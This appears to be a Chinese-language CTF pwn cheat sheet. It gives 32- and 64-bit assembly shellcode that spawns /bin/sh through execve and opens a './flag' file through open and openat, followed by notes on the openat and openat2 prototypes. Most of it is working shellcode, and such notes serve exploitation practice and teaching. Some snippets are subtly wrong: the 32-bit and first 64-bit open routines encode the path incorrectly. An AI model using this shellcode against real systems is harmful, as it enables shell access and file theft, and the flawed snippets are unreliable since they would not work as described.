32位:
xor ecx,ecx; # ecx=0
xor edx,edx; # edx=0
push edx;
push 0x0068732f; # 将/bin/sh\x00入栈
push 0x6e69622f;
mov ebx,esp; # ebx = /bin/sh\x00
mov eax,0xb; # execve 32位系统调用号
int 0x80;
64位:
xor rdx, rdx;
mov rax, 0x68732f2f6e69622f; "/bin//sh"
push rax;
pop rdi;
xor rsi, rsi;
xor rax, rax;
mov rax, 59;
syscall;
# open("./flag",0,0)
32位:
xor eax, eax;
push eax;
push 0x67616c66 ; "galf"
push 0x2f2e ; "./"
mov ebx, esp;
xor ecx, ecx;
xor edx, edx;
mov al, 5;
int 0x80;
64位:
mov rax, 0x2f2e67616c66;
push rax;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 2;
syscall;
函数原型:
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd: 表示目录的文件描述符。如果是 AT_FDCWD,则相对路径是从当前工作目录开始查找。
pathname: 要打开的文件路径,例如"/flag"。
flags: 文件打开的标志,类似于 open 的标志,如 O_RDONLY、O_WRONLY、O_RDWR、O_CREAT 等。
mode: 新文件的权限,仅当使用 O_CREAT 时才需要。
mov rax, 0x67616c662f2e ; ./flag
push rax ; rax将"flag"入栈
mov rsi, rsp ; "flag"赋值给rsi,即文件路径
xor rax, rax ; 清零
xor rdi, rdi ; 清零
sub rdi, 100 ; 注意这里有个-100,但有时候不一定要-
xor rdx, rdx ; 清零
mov r10, 7 ; rwx权限
mov rax, 0x101 ; 系统调用号
syscall
函数原型:
int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);
dirfd:文件描述符,表示相对路径的基准目录,可以是AT_FDCWD(表示当前工作目录)。pathname:要打开的文件路径。how:指向struct open_how结构体的指针,定义了打开文件的方式。size:struct open_how结构体的大小,通常是sizeof(struct open_how)。
struct open_how 结构体
struct open_how {
__aligned_u64 flags; // 与 open(2) 相同的 O_* 标志
__aligned_u64 mode; // 文件模式(仅用于 O_CREAT)
__aligned_u64 resolve; // 限制路径解析方式
};